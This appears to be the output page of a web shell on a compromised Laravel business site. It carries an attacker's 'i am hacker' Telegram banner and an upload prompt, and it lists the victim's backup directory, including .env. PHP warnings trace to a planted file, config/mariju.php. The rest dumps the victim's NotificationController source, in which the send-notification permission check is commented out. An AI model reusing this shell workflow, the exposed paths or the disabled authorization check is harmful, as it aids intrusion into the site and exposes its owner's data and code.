telegram : @iamdarkcomedy i am hacker

path :/home/bisorgosof24/public_html/Backup23122024

upload file:

List of files:

name file size edit permission action
.env2733 KBDecember 22 2024 06:20:070644
404.html58370 KBNovember 20 2024 15:32:220644
502.html58368 KBNovember 20 2024 15:32:220644
Modules-December 11 2024 21:02:560755
README.md4158 KBFebruary 14 2023 12:31:560644
app-December 11 2024 17:57:480755
artisan1686 KBFebruary 14 2023 12:31:560644
bootstrap-December 11 2024 20:23:360755
composer.json3761 KBDecember 11 2024 22:15:000644
composer.lock512048 KBDecember 11 2024 22:13:280644
config-June 15 2025 02:09:360755
database-December 05 2024 20:18:120755
dfsdf dfds fd fds findex.html1420 KBNovember 20 2024 15:32:240644
error_log14635382 KBJuly 18 2025 16:22:240644
firoz-December 23 2024 13:24:460755
index.php1667 KBDecember 14 2024 05:20:360644
lang-December 11 2024 21:02:480755
modules_statuses.json472 KBNovember 20 2024 15:32:240644
mpos-March 31 2025 02:36:310755
package.json226 KBFebruary 14 2023 12:31:560644
phpunit.xml1146 KBFebruary 14 2023 12:31:560644
public-March 31 2025 02:36:310755
resources-December 11 2024 21:10:220755
routes-June 15 2025 02:09:310755
storage-December 11 2024 21:12:440755
tests-December 05 2024 20:18:120755
vendor-December 11 2024 22:13:300755
vite.config.js263 KBFebruary 14 2023 12:31:560644

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 227

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 228

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 229

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 230
notificationUtil = $notificationUtil; $this->transactionUtil = $transactionUtil; } /** * Display a notification view. * * @return \Illuminate\Http\Response */ public function getTemplate($id, $template_for) { $business_id = request()->session()->get('user.business_id'); $notification_template = NotificationTemplate::getTemplate($business_id, $template_for); $contact = null; $transaction = null; if ($template_for == 'new_booking') { $transaction = Booking::where('business_id', $business_id) ->with(['customer']) ->find($id); $contact = $transaction->customer; } elseif ($template_for == 'send_ledger') { $contact = Contact::find($id); } else { $transaction = Transaction::where('business_id', $business_id) ->with(['contact']) ->find($id); $contact = $transaction->contact; } $customer_notifications = NotificationTemplate::customerNotifications(); $supplier_notifications = NotificationTemplate::supplierNotifications(); $general_notifications = NotificationTemplate::generalNotifications(); $template_name = ''; $tags = []; if (array_key_exists($template_for, $customer_notifications)) { $template_name = $customer_notifications[$template_for]['name']; $tags = $customer_notifications[$template_for]['extra_tags']; } elseif (array_key_exists($template_for, $supplier_notifications)) { $template_name = $supplier_notifications[$template_for]['name']; $tags = $supplier_notifications[$template_for]['extra_tags']; } elseif (array_key_exists($template_for, $general_notifications)) { $template_name = $general_notifications[$template_for]['name']; $tags = $general_notifications[$template_for]['extra_tags']; } //for send_ledger notification template $start_date = request()->input('start_date'); $end_date = request()->input('end_date'); $ledger_format = request()->input('format'); $location_id = request()->input('location_id'); return view('notification.show_template') ->with(compact('notification_template', 'transaction', 'tags', 'template_name', 'contact', 'start_date', 'end_date', 'ledger_format', 'location_id')); } /** * Sends notifications to customer and supplier * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function send(Request $request) { // if (!auth()->user()->can('send_notification')) { // abort(403, 'Unauthorized action.'); // } $notAllowed = $this->notificationUtil->notAllowedInDemo(); if (! empty($notAllowed)) { return $notAllowed; } try { $customer_notifications = NotificationTemplate::customerNotifications(); $supplier_notifications = NotificationTemplate::supplierNotifications(); $data = $request->only(['to_email', 'subject', 'email_body', 'mobile_number', 'sms_body', 'notification_type', 'cc', 'bcc', 'whatsapp_text']); $emails_array = array_map('trim', explode(',', $data['to_email'])); $transaction_id = $request->input('transaction_id'); $business_id = request()->session()->get('business.id'); $transaction = ! empty($transaction_id) ? Transaction::find($transaction_id) : null; $orig_data = [ 'email_body' => $data['email_body'], 'sms_body' => $data['sms_body'], 'subject' => $data['subject'], 'whatsapp_text' => $data['whatsapp_text'], ]; if ($request->input('template_for') == 'new_booking') { $tag_replaced_data = $this->notificationUtil->replaceBookingTags($business_id, $orig_data, $transaction_id); $data['email_body'] = $tag_replaced_data['email_body']; $data['sms_body'] = $tag_replaced_data['sms_body']; $data['subject'] = $tag_replaced_data['subject']; $data['whatsapp_text'] = $tag_replaced_data['whatsapp_text']; } else { $tag_replaced_data = $this->notificationUtil->replaceTags($business_id, $orig_data, $transaction_id); $data['email_body'] = $tag_replaced_data['email_body']; $data['sms_body'] = $tag_replaced_data['sms_body']; $data['subject'] = $tag_replaced_data['subject']; $data['whatsapp_text'] = $tag_replaced_data['whatsapp_text']; } $data['email_settings'] = request()->session()->get('business.email_settings'); $data['sms_settings'] = request()->session()->get('business.sms_settings'); $notification_type = $request->input('notification_type'); $whatsapp_link = ''; if (array_key_exists($request->input('template_for'), $customer_notifications)) { if (in_array('email', $notification_type)) { if (! empty($request->input('attach_pdf'))) { $data['pdf_name'] = 'INVOICE-'.$transaction->invoice_no.'.pdf'; $data['pdf'] = $this->transactionUtil->getEmailAttachmentForGivenTransaction($business_id, $transaction_id, true); } Notification::route('mail', $emails_array) ->notify(new CustomerNotification($data)); if (! empty($transaction)) { $this->notificationUtil->activityLog($transaction, 'email_notification_sent', null, [], false); } } if (in_array('sms', $notification_type)) { $this->notificationUtil->sendSms($data); if (! empty($transaction)) { $this->notificationUtil->activityLog($transaction, 'sms_notification_sent', null, [], false); } } if (in_array('whatsapp', $notification_type)) { $whatsapp_link = $this->notificationUtil->getWhatsappNotificationLink($data); } } elseif (array_key_exists($request->input('template_for'), $supplier_notifications)) { if (in_array('email', $notification_type)) { if ($request->input('template_for') == 'purchase_order') { $data['pdf_name'] = 'PO-'.$transaction->ref_no.'.pdf'; $data['pdf'] = $this->transactionUtil->getPurchaseOrderPdf($business_id, $transaction_id, true); } Notification::route('mail', $emails_array) ->notify(new SupplierNotification($data)); if (! empty($transaction)) { $this->notificationUtil->activityLog($transaction, 'email_notification_sent', null, [], false); } } if (in_array('sms', $notification_type)) { $this->notificationUtil->sendSms($data); if (! empty($transaction)) { $this->notificationUtil->activityLog($transaction, 'sms_notification_sent', null, [], false); } } if (in_array('whatsapp', $notification_type)) { $whatsapp_link = $this->notificationUtil->getWhatsappNotificationLink($data); } } $output = ['success' => 1, 'msg' => __('lang_v1.notification_sent_successfully')]; if (! empty($whatsapp_link)) { $output['whatsapp_link'] = $whatsapp_link; } } catch (\Exception $e) { \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); $output = ['success' => 0, 'msg' => $e->getMessage(), ]; } return $output; } }